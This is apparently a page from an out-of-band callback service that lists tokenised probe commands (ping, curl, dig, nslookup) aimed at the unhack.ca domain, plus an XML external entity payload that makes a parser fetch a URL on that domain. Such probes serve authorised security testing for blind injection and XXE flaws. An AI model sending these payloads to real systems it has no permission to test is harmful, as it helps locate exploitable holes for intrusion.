$ ping -c1 -p 00c18012a042980c39acbda4708a1b00 unhack.ca
 

$ curl http://unhack.ca/p/c18012a042980c39acbda4708a1b
 

$ dig c18012a042980c39acbda4708a1b @unhack.ca
 

$ dig c18012a042980c39acbda4708a1b.ns.unhack.ca
 

C:\> nslookup c18012a042980c39acbda4708a1b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c18012a042980c39acbda4708a1b">]>
    <foo>&xxe;</foo>